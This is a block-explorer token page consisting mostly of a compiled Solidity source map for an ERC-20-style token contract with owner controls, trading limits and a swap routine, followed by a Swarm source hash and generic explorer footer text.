;;;;;;;;-1:-1:-1;13420:56:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15710:87;;;;;;;;;;;;;:::i;16608:393::-;;;;;;;;;;-1:-1:-1;16608:393:0;;;;;:::i;:::-;;:::i;18009:192::-;;;;;;;;;;-1:-1:-1;18009:192:0;;;;;:::i;:::-;;:::i;14250:36::-;;;;;;;;;;;;;;;;13485:51;;;;;;;;;;-1:-1:-1;13485:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14120:39;;;;;;;;;;-1:-1:-1;14120:39:0;;;;-1:-1:-1;;;14120:39:0;;;;;;16131:168;;;;;;;;;;-1:-1:-1;16131:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;16264:18:0;;;16237:7;16264:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16131:168;18663:762;;;:::i;14430:32::-;;;;;;;;;;;;;;;;4583:281;;;;;;;;;;-1:-1:-1;4583:281:0;;;;;:::i;:::-;;:::i;14206:35::-;;;;;;;;;;-1:-1:-1;14206:35:0;;;;-1:-1:-1;;;14206:35:0;;;;;;14166:31;;;;;;;;;;-1:-1:-1;14166:31:0;;;;-1:-1:-1;;;14166:31:0;;;;;;15619:83;15656:13;15689:5;15682:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15619:83;:::o;17009:186::-;17109:4;17126:39;1156:10;17149:7;17158:6;17126:8;:39::i;:::-;-1:-1:-1;17183:4:0;17009:186;;;;;:::o;18209:446::-;18341:4;18358:36;18368:6;18376:9;18387:6;18358:9;:36::i;:::-;-1:-1:-1;18405:220:0;18428:6;1156:10;18476:138;18532:6;18476:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18476:19:0;;;;;;:11;:19;;;;;;;;1156:10;18476:33;;;;;;;;;;:37;:138::i;:::-;18405:8;:220::i;:::-;-1:-1:-1;18643:4:0;18209:446;;;;;;:::o;17548:201::-;17601:7;17641:100;17704:22;17714:11;17704:9;:22::i;:::-;17641:40;17658:22;17668:11;17658:9;:22::i;:::-;17641:12;;;:16;:40::i;:::-;:44;;:100::i;:::-;17621:120;;17548:201;:::o;16307:293::-;1156:10;16420:4;16509:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16509:34:0;;;;;;;;;;16420:4;;16437:133;;16487:7;;16509:50;;16548:10;16509:38;:50::i;16004:119::-;-1:-1:-1;;;;;16097:18:0;16070:7;16097:18;;;:9;:18;;;;;;;16004:119::o;4308:267::-;4221:6;;-1:-1:-1;;;;;4221:6:0;1156:10;4221:22;4213:67;;;;-1:-1:-1;;;4213:67:0;;;;;;;:::i;:::-;;;;;;;;;4413:6:::1;::::0;;4378:118:::1;::::0;4442:42:::1;::::0;-1:-1:-1;;;;;4413:6:0;;::::1;::::0;4378:118:::1;::::0;::::1;4507:6;:60:::0;;-1:-1:-1;;;;;;4507:60:0::1;4524:42;4507:60;::::0;;4308:267::o;19622:447::-;4221:6;;-1:-1:-1;;;;;4221:6:0;1156:10;4221:22;4213:67;;;;-1:-1:-1;;;4213:67:0;;;;;;;:::i;:::-;19696:1:::1;19676:17;:21:::0;;;19728:1:::1;19708:17;:21:::0;;;19742:18:::1;:22:::0;;;19775:18:::1;:22:::0;;;19830:40:::1;::::0;19696:1;19830:21:::1;:40::i;:::-;19810:17;:60:::0;19925:18:::1;::::0;19902::::1;::::0;:42:::1;::::0;:22:::1;:42::i;:::-;19881:18;:63:::0;-1:-1:-1;;19957:10:0::1;:27:::0;;;19995:12:::1;:29:::0;20037:16:::1;:24:::0;;-1:-1:-1;;;;20037:24:0::1;::::0;;19622:447::o;19433:181::-;4221:6;;-1:-1:-1;;;;;4221:6:0;1156:10;4221:22;4213:67;;;;-1:-1:-1;;;4213:67:0;;;;;;;:::i;:::-;19497:11:::1;::::0;-1:-1:-1;;;19497:11:0;::::1;;;19496:12;19488:48;;;::::0;-1:-1:-1;;;19488:48:0;;4307:2:1;19488:48:0::1;::::0;::::1;4289:21:1::0;4346:2;4326:18;;;4319:30;4385:25;4365:18;;;4358:53;4428:18;;19488:48:0::1;4105:347:1::0;19488:48:0::1;19549:11;:18:::0;;-1:-1:-1;;;;19578:28:0;-1:-1:-1;;;19578:28:0;;;19433:181::o;15710:87::-;15749:13;15782:7;15775:14;;;;;:::i;16608:393::-;16726:4;16743:228;1156:10;16793:7;16815:145;16872:15;16815:145;;;;;;;;;;;;;;;;;1156:10;16815:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16815:34:0;;;;;;;;;;;;:38;:145::i;18009:192::-;18112:4;18129:42;1156:10;18153:9;18164:6;18129:9;:42::i;18663:762::-;4221:6;;-1:-1:-1;;;;;4221:6:0;1156:10;4221:22;4213:67;;;;-1:-1:-1;;;4213:67:0;;;;;;;:::i;:::-;18725:15:::1;:104:::0;;-1:-1:-1;;;;;;18725:104:0::1;18776:42;18725:104:::0;;::::1;::::0;;;18876:25:::1;::::0;;-1:-1:-1;;;18876:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;18776:42;18876:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;18858:55:0::1;;18936:4;18956:15;;;;;;;;;-1:-1:-1::0;;;;;18956:15:0::1;-1:-1:-1::0;;;;;18956:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18858:131;::::0;-1:-1:-1;;;;;;18858:131:0::1;::::0;;;;;;-1:-1:-1;;;;;4943:15:1;;;18858:131:0::1;::::0;::::1;4925:34:1::0;4995:15;;4975:18;;;4968:43;4860:18;;18858:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18842:13;:147:::0;;-1:-1:-1;;;;;;18842:147:0::1;-1:-1:-1::0;;;;;18842:147:0;;::::1;::::0;;::::1;::::0;;-1:-1:-1;19002:48:0;;;:24:::1;:48;::::0;;;;;;;:55;;-1:-1:-1;;19002:55:0;;::::1;-1:-1:-1::0;19002:55:0;;::::1;::::0;;;19096:13;;;::::1;19068:43:::0;;:19:::1;:43:::0;;;;;;:50;;;;::::1;;::::0;;19163:15:::1;::::0;19131:62:::1;::::0;19148:4:::1;::::0;19163:15:::1;-1:-1:-1::0;;19131:8:0::1;:62::i;:::-;19206:15;::::0;-1:-1:-1;;;;;19206:15:0::1;:31;19245:9;19278:4;19298:24;19278:4:::0;19298:9:::1;:24::i;:::-;19337:1;19353::::0;19369:7:::1;4132::::0;4159:6;-1:-1:-1;;;;;4159:6:0;;4094:79;19369:7:::1;19206:211;::::0;::::1;::::0;;;-1:-1:-1;;;;;;19206:211:0;;;-1:-1:-1;;;;;5381:15:1;;;19206:211:0::1;::::0;::::1;5363:34:1::0;5413:18;;;5406:34;;;;5456:18;;;5449:34;;;;5499:18;;;5492:34;5563:15;;;5542:19;;;5535:44;19391:15:0::1;5595:19:1::0;;;5588:35;5297:19;;19206:211:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;18663:762::o:0;4583:281::-;4221:6;;-1:-1:-1;;;;;4221:6:0;1156:10;4221:22;4213:67;;;;-1:-1:-1;;;4213:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4686:22:0;::::1;4664:110;;;::::0;-1:-1:-1;;;4664:110:0;;6147:2:1;4664:110:0::1;::::0;::::1;6129:21:1::0;6186:2;6166:18;;;6159:30;6225:34;6205:18;;;6198:62;-1:-1:-1;;;6276:18:1;;;6269:36;6322:19;;4664:110:0::1;5945:402:1::0;4664:110:0::1;4811:6;::::0;;4790:38:::1;::::0;-1:-1:-1;;;;;4790:38:0;;::::1;::::0;4811:6;::::1;::::0;4790:38:::1;::::0;::::1;4839:6;:17:::0;;-1:-1:-1;;;;;;4839:17:0::1;-1:-1:-1::0;;;;;4839:17:0;;;::::1;::::0;;;::::1;::::0;;4583:281::o;17203:337::-;-1:-1:-1;;;;;17296:19:0;;17288:68;;;;-1:-1:-1;;;17288:68:0;;6554:2:1;17288:68:0;;;6536:21:1;6593:2;6573:18;;;6566:30;6632:34;6612:18;;;6605:62;-1:-1:-1;;;6683:18:1;;;6676:34;6727:19;;17288:68:0;6352:400:1;17288:68:0;-1:-1:-1;;;;;17375:21:0;;17367:68;;;;-1:-1:-1;;;17367:68:0;;6959:2:1;17367:68:0;;;6941:21:1;6998:2;6978:18;;;6971:30;7037:34;7017:18;;;7010:62;-1:-1:-1;;;7088:18:1;;;7081:32;7130:19;;17367:68:0;6757:398:1;17367:68:0;-1:-1:-1;;;;;17448:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17500:32;;1804:25:1;;;17500:32:0;;1777:18:1;17500:32:0;;;;;;;17203:337;;;:::o;21232:3199::-;21353:4;-1:-1:-1;;;;;21378:20:0;;21370:70;;;;-1:-1:-1;;;21370:70:0;;7362:2:1;21370:70:0;;;7344:21:1;7401:2;7381:18;;;7374:30;7440:34;7420:18;;;7413:62;-1:-1:-1;;;7491:18:1;;;7484:35;7536:19;;21370:70:0;7160:401:1;21370:70:0;-1:-1:-1;;;;;21459:23:0;;21451:71;;;;-1:-1:-1;;;21451:71:0;;7768:2:1;21451:71:0;;;7750:21:1;7807:2;7787:18;;;7780:30;7846:34;7826:18;;;7819:62;-1:-1:-1;;;7897:18:1;;;7890:33;7940:19;;21451:71:0;7566:399:1;21451:71:0;21550:1;21541:6;:10;21533:68;;;;-1:-1:-1;;;21533:68:0;;8172:2:1;21533:68:0;;;8154:21:1;8211:2;8191:18;;;8184:30;8250:34;8230:18;;;8223:62;-1:-1:-1;;;8301:18:1;;;8294:43;8354:19;;21533:68:0;7970:409:1;21533:68:0;21636:11;;-1:-1:-1;;;21636:11:0;;;;;:58;;-1:-1:-1;;;;;;21668:26:0;;;;;;:18;:26;;;;;;;;21636:58;:108;;;-1:-1:-1;;;;;;21715:29:0;;;;;;:18;:29;;;;;;;;21636:108;21614:169;;;;-1:-1:-1;;;21614:169:0;;8586:2:1;21614:169:0;;;8568:21:1;8625:2;8605:18;;;8598:30;-1:-1:-1;;;8644:18:1;;;8637:41;8695:18;;21614:169:0;8384:335:1;21614:169:0;21800:16;;-1:-1:-1;;;21800:16:0;;;;;:42;;-1:-1:-1;21821:21:0;;-1:-1:-1;;;21821:21:0;;;;21820:22;21800:42;21796:2628;;;21866:41;21881:6;21889:9;21900:6;21866:14;:41::i;:::-;21859:48;;;;21796:2628;-1:-1:-1;;;;;21945:23:0;;;;;;:15;:23;;;;;;;;21944:24;:55;;;;-1:-1:-1;;;;;;21973:26:0;;;;;;:15;:26;;;;;;;;21972:27;21944:55;21940:232;;;22060:12;;22050:6;:22;;22020:136;;;;-1:-1:-1;;;22020:136:0;;8926:2:1;22020:136:0;;;8908:21:1;8965:2;8945:18;;;8938:30;9004:34;8984:18;;;8977:62;-1:-1:-1;;;9055:18:1;;;9048:38;9103:19;;22020:136:0;8724:404:1;22020:136:0;22188:28;22219:24;22237:4;22219:9;:24::i;:::-;22188:55;;22258:28;22330:16;;22289:20;:57;;:87;;;;;22360:16;;22350:6;:26;;22289:87;22258:118;;22415:23;:61;;;;-1:-1:-1;22460:16:0;;-1:-1:-1;;;22460:16:0;;;;22459:17;22415:61;:117;;;;-1:-1:-1;;;;;;22497:35:0;;;;;;:24;:35;;;;;;;;22415:117;:159;;;;-1:-1:-1;22553:21:0;;-1:-1:-1;;;22553:21:0;;;;22415:159;:207;;;;-1:-1:-1;;;;;;22596:26:0;;;;;;:18;:26;;;;;;;;22595:27;22415:207;:258;;;;-1:-1:-1;;;;;;22644:29:0;;;;;;:18;:29;;;;;;;;22643:30;22415:258;22393:451;;;22712:19;;-1:-1:-1;;;22712:19:0;;;;22708:85;;;22777:16;;22754:39;;22708:85;22812:16;22821:6;22812:8;:16::i;:::-;22864;;-1:-1:-1;;;22864:16:0;;;;:51;;;;-1:-1:-1;;;;;;22885:30:0;;;;;;:19;:30;;;;;;;;22884:31;22864:51;22860:330;;;23083:10;;22966:113;23017:39;23052:3;23017:30;23028:18;;23017:6;:10;;:30;;;;:::i;:::-;:34;;:39::i;:::-;22966:20;22976:9;22966;:20::i;:::-;:24;;:113::i;:::-;:127;;22936:238;;;;-1:-1:-1;;;22936:238:0;;9335:2:1;22936:238:0;;;9317:21:1;9374:2;9354:18;;;9347:30;9413:34;9393:18;;;9386:62;-1:-1:-1;;;9464:18:1;;;9457:35;9509:19;;22936:238:0;9133:401:1;22936:238:0;-1:-1:-1;;;;;23305:23:0;;23206:15;23305:23;;;:15;:23;;;;;;23224:6;;23206:15;23305:23;;23304:24;;:55;;-1:-1:-1;;;;;;23333:26:0;;;;;;:15;:26;;;;;;;;23332:27;23304:55;23303:151;;;-1:-1:-1;;;;;;23382:35:0;;;;;;:24;:35;;;;;;;;;:71;;-1:-1:-1;;;;;;23421:32:0;;;;;;:24;:32;;;;;;;;23382:71;23281:912;;;-1:-1:-1;;;;;23557:35:0;;23489:17;23557:35;;;:24;:35;;;;;;;;23553:272;;;23629:38;23663:3;23629:29;23640:17;;23629:6;:10;;:29;;;;:::i;:38::-;23617:50;;23553:272;;;-1:-1:-1;;;;;23697:32:0;;;;;;:24;:32;;;;;;;;23693:132;;;23766:39;23801:3;23766:30;23777:18;;23766:6;:10;;:30;;;;:::i;:39::-;23754:51;;23693:132;23849:13;;23845:246;;23932:4;23914:24;;;;:9;:24;;;;;;:87;;23969:9;23914:28;:87::i;:::-;23905:4;23887:24;;;;:9;:24;;;;;;;:114;;;;24029:42;;-1:-1:-1;;;;;24029:42:0;;;;;;;24061:9;1804:25:1;;1792:2;1777:18;;1658:177;24029:42:0;;;;;;;;23845:246;24119:7;;-1:-1:-1;24155:22:0;24119:7;24167:9;24155:11;:22::i;:::-;24145:32;;23470:723;23281:912;-1:-1:-1;;;;;24229:17:0;;;;;;:9;:17;;;;;;:30;;24251:7;24229:21;:30::i;:::-;-1:-1:-1;;;;;24209:17:0;;;;;;;:9;:17;;;;;;:50;;;;24297:20;;;;;;;:33;;24322:7;24297:24;:33::i;:::-;-1:-1:-1;;;;;24274:20:0;;;;;;;:9;:20;;;;;;;:56;;;;24350:36;;;;;;;;;;24378:7;1804:25:1;;1792:2;1777:18;;1658:177;24350:36:0;;;;;;;;24408:4;24401:11;;;;;;;;2453:226;2573:7;2609:12;2601:6;;;;2593:29;;;;-1:-1:-1;;;2593:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2633:9:0;2645:5;2649:1;2645;:5;:::i;:::-;2633:17;2453:226;-1:-1:-1;;;;;2453:226:0:o;2309:136::-;2367:7;2394:43;2398:1;2401;2394:43;;;;;;;;;;;;;;;;;:3;:43::i;2120:181::-;2178:7;;2210:5;2214:1;2210;:5;:::i;:::-;2198:17;;2239:1;2234;:6;;2226:46;;;;-1:-1:-1;;;2226:46:0;;10136:2:1;2226:46:0;;;10118:21:1;10175:2;10155:18;;;10148:30;10214:29;10194:18;;;10187:57;10261:18;;2226:46:0;9934:351:1;24439:401:0;24603:90;;;;;;;;;;;-1:-1:-1;;;24603:90:0;;;;;;;;-1:-1:-1;;;;;24603:17:0;;24566:4;24603:17;;;:9;:17;;;;;;;:90;;24639:6;;24603:21;:90::i;:::-;-1:-1:-1;;;;;24583:17:0;;;;;;;:9;:17;;;;;;:110;;;;24727:20;;;;;;;:32;;24752:6;24727:24;:32::i;:::-;-1:-1:-1;;;;;24704:20:0;;;;;;;:9;:20;;;;;;;:55;;;;24775:35;;;;;;;;;;24803:6;1804:25:1;;1792:2;1777:18;;1658:177;24775:35:0;;;;;;;;-1:-1:-1;24828:4:0;24439:401;;;;;:::o;20077:425::-;14810:16;:23;;-1:-1:-1;;;;14810:23:0;-1:-1:-1;;;14810:23:0;;;;20174:24:::1;20192:4;20174:9;:24::i;:::-;20143:55;;20211:20;20234:51;20238:7;20247:37;20251:20;20273:10;;20247:3;:37::i;:::-;20234:3;:51::i;:::-;20211:74;;20298:30;20315:12;20298:16;:30::i;:::-;20367:21;20403:19:::0;;20399:96:::1;;20447:9;::::0;20439:44:::1;::::0;-1:-1:-1;;;;;20447:9:0;;::::1;::::0;20439:44;::::1;;;::::0;20467:15;;20447:9:::1;20439:44:::0;20447:9;20439:44;20467:15;20447:9;20439:44;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;20399:96;-1:-1:-1::0;;14856:16:0;:24;;-1:-1:-1;;;;14856:24:0;;;-1:-1:-1;;20077:425:0:o;2687:250::-;2745:7;2769:1;2774;2769:6;2765:47;;-1:-1:-1;2799:1:0;2792:8;;2765:47;2824:9;2836:5;2840:1;2836;:5;:::i;:::-;2824:17;-1:-1:-1;2869:1:0;2860:5;2864:1;2824:17;2860:5;:::i;:::-;:10;2852:56;;;;-1:-1:-1;;;2852:56:0;;10887:2:1;2852:56:0;;;10869:21:1;10926:2;10906:18;;;10899:30;10965:34;10945:18;;;10938:62;-1:-1:-1;;;11016:18:1;;;11009:31;11057:19;;2852:56:0;10685:397:1;2945:132:0;3003:7;3030:39;3034:1;3037;3030:39;;;;;;;;;;;;;;;;;:3;:39::i;20510:101::-;20567:7;20597:1;20595;:3;20594:9;;20602:1;20594:9;;;-1:-1:-1;20600:1:0;20510:101;-1:-1:-1;20510:101:0:o;20619:605::-;20769:16;;;20783:1;20769:16;;;;;;;;20745:21;;20769:16;;;;;;;;-1:-1:-1;;20806:15:0;;:22;;;-1:-1:-1;;;20806:22:0;;;;20745:40;;-1:-1:-1;;;;;;20806:15:0;;;;:20;;-1:-1:-1;20806:22:0;;;;;;;;;;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20796:4;20801:1;20796:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1;;;;;20796:32:0;;;-1:-1:-1;;;;;20796:32:0;;;;;20857:4;20839;20844:1;20839:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20839:23:0;;;:7;;;;;;;;;:23;20907:15;;20875:62;;20892:4;;20907:15;20925:11;20875:8;:62::i;:::-;20976:15;;:240;;-1:-1:-1;;;20976:240:0;;-1:-1:-1;;;;;20976:15:0;;;;:66;;:240;;21057:11;;20976:15;;21127:4;;21154;;21190:15;;20976:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20674:550;20619:605;:::o;3085:312::-;3205:7;3240:12;3233:5;3225:28;;;;-1:-1:-1;;;3225:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3264:9:0;3276:5;3280:1;3276;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;775:131::-;-1:-1:-1;;;;;850:31:1;;840:42;;830:70;;896:1;893;886:12;830:70;775:131;:::o;911:315::-;979:6;987;1040:2;1028:9;1019:7;1015:23;1011:32;1008:52;;;1056:1;1053;1046:12;1008:52;1095:9;1082:23;1114:31;1139:5;1114:31;:::i;:::-;1164:5;1216:2;1201:18;;;;1188:32;;-1:-1:-1;;;911:315:1:o;1840:456::-;1917:6;1925;1933;1986:2;1974:9;1965:7;1961:23;1957:32;1954:52;;;2002:1;1999;1992:12;1954:52;2041:9;2028:23;2060:31;2085:5;2060:31;:::i;:::-;2110:5;-1:-1:-1;2167:2:1;2152:18;;2139:32;2180:33;2139:32;2180:33;:::i;:::-;1840:456;;2232:7;;-1:-1:-1;;;2286:2:1;2271:18;;;;2258:32;;1840:456::o;2490:247::-;2549:6;2602:2;2590:9;2581:7;2577:23;2573:32;2570:52;;;2618:1;2615;2608:12;2570:52;2657:9;2644:23;2676:31;2701:5;2676:31;:::i;2966:388::-;3034:6;3042;3095:2;3083:9;3074:7;3070:23;3066:32;3063:52;;;3111:1;3108;3101:12;3063:52;3150:9;3137:23;3169:31;3194:5;3169:31;:::i;:::-;3219:5;-1:-1:-1;3276:2:1;3261:18;;3248:32;3289:33;3248:32;3289:33;:::i;:::-;3341:7;3331:17;;;2966:388;;;;;:::o;3359:380::-;3438:1;3434:12;;;;3481;;;3502:61;;3556:4;3548:6;3544:17;3534:27;;3502:61;3609:2;3601:6;3598:14;3578:18;3575:38;3572:161;;3655:10;3650:3;3646:20;3643:1;3636:31;3690:4;3687:1;3680:15;3718:4;3715:1;3708:15;3744:356;3946:2;3928:21;;;3965:18;;;3958:30;4024:34;4019:2;4004:18;;3997:62;4091:2;4076:18;;3744:356::o;4457:251::-;4527:6;4580:2;4568:9;4559:7;4555:23;4551:32;4548:52;;;4596:1;4593;4586:12;4548:52;4628:9;4622:16;4647:31;4672:5;4647:31;:::i;5634:306::-;5722:6;5730;5738;5791:2;5779:9;5770:7;5766:23;5762:32;5759:52;;;5807:1;5804;5797:12;5759:52;5836:9;5830:16;5820:26;;5886:2;5875:9;5871:18;5865:25;5855:35;;5930:2;5919:9;5915:18;5909:25;5899:35;;5634:306;;;;;:::o;9539:127::-;9600:10;9595:3;9591:20;9588:1;9581:31;9631:4;9628:1;9621:15;9655:4;9652:1;9645:15;9671:128;9738:9;;;9759:11;;;9756:37;;;9773:18;;:::i;9804:125::-;9869:9;;;9890:10;;;9887:36;;;9903:18;;:::i;10290:168::-;10363:9;;;10394;;10411:15;;;10405:22;;10391:37;10381:71;;10432:18;;:::i;10463:217::-;10503:1;10529;10519:132;;10573:10;10568:3;10564:20;10561:1;10554:31;10608:4;10605:1;10598:15;10636:4;10633:1;10626:15;10519:132;-1:-1:-1;10665:9:1;;10463:217::o;11219:127::-;11280:10;11275:3;11271:20;11268:1;11261:31;11311:4;11308:1;11301:15;11335:4;11332:1;11325:15;11351:980;11613:4;11661:3;11650:9;11646:19;11692:6;11681:9;11674:25;11718:2;11756:6;11751:2;11740:9;11736:18;11729:34;11799:3;11794:2;11783:9;11779:18;11772:31;11823:6;11858;11852:13;11889:6;11881;11874:22;11927:3;11916:9;11912:19;11905:26;;11966:2;11958:6;11954:15;11940:29;;11987:1;11997:195;12011:6;12008:1;12005:13;11997:195;;;12076:13;;-1:-1:-1;;;;;12072:39:1;12060:52;;12167:15;;;;12132:12;;;;12108:1;12026:9;11997:195;;;-1:-1:-1;;;;;;;12248:32:1;;;;12243:2;12228:18;;12221:60;-1:-1:-1;;;12312:3:1;12297:19;12290:35;12209:3;11351:980;-1:-1:-1;;;11351:980:1:o

Swarm Source

ipfs://8c61c1518456ebd6816193a5f7824f3318e33291d756523154d81e3f274e3a24
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.